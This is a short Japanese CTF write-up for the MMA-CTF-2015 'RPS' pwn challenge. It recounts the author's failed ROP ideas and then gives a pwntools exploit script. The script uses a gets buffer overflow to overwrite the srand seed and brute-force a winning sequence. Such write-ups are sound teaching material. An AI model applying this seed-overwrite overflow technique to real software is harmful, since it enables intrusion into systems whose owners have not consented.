MMA-CTF-2015: RPS

,

https://github.com/ctfs/write-ups-2015/tree/master/mma-ctf-2015/pwn/rps-50

解けず。seedを操作できていることに気付いていなかった。srandが見えたときに乱数予測は思い受かんだのだが、/dev/urandomを見て消してしまった。

bofからのropができるので、それを考えてしまっていた。 flag.txtを読んで書き出す処理をする部分があるのでここに飛ばしたいが、getsによるbofでかつ位置が0x400a9aなので書き込めず飛ばせない。 gadgetがあまりないので厳しく、以下なら可能だと判断したが、明らかに$50$点問題のそれではなかったのでwriteupを見た。

  • stack pivotしながらlibc baseを特定しmmapからの再度stack pivotでshellを取る
  • getsprintf%n指定子による書き込みでflag.txtの読み出しアドレスを作る

solution

buffer overflowによりsrandのseedを操作できる。出してくる手は固定なので全勝できる。

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
context.log_level = 'debug'

payload = ''
payload += 'A' * 0x30 # name
payload += p64(0) # seed
assert payload.find('\n') == -1

def play(s, cont=(lambda p: None)):
    p = process('./rps')
    p.recvuntil("What's your name: ")
    p.sendline(payload)
    for i, c in enumerate(s):
        p.recvuntil('Rock? Paper? Scissors? [RPS]')
        p.sendline(c)
        p.recvline()
        if p.recvline().strip() != 'You win!!':
            p.close()
            return i
    cont(p)
    p.close()
    return len(s)

s = ''
while len(s) < 50:
    for c in 'RPS':
        t = s + c * (50 - len(s))
        l = play(t)
        s = t[ : l]
play(s, lambda p: p.recvall())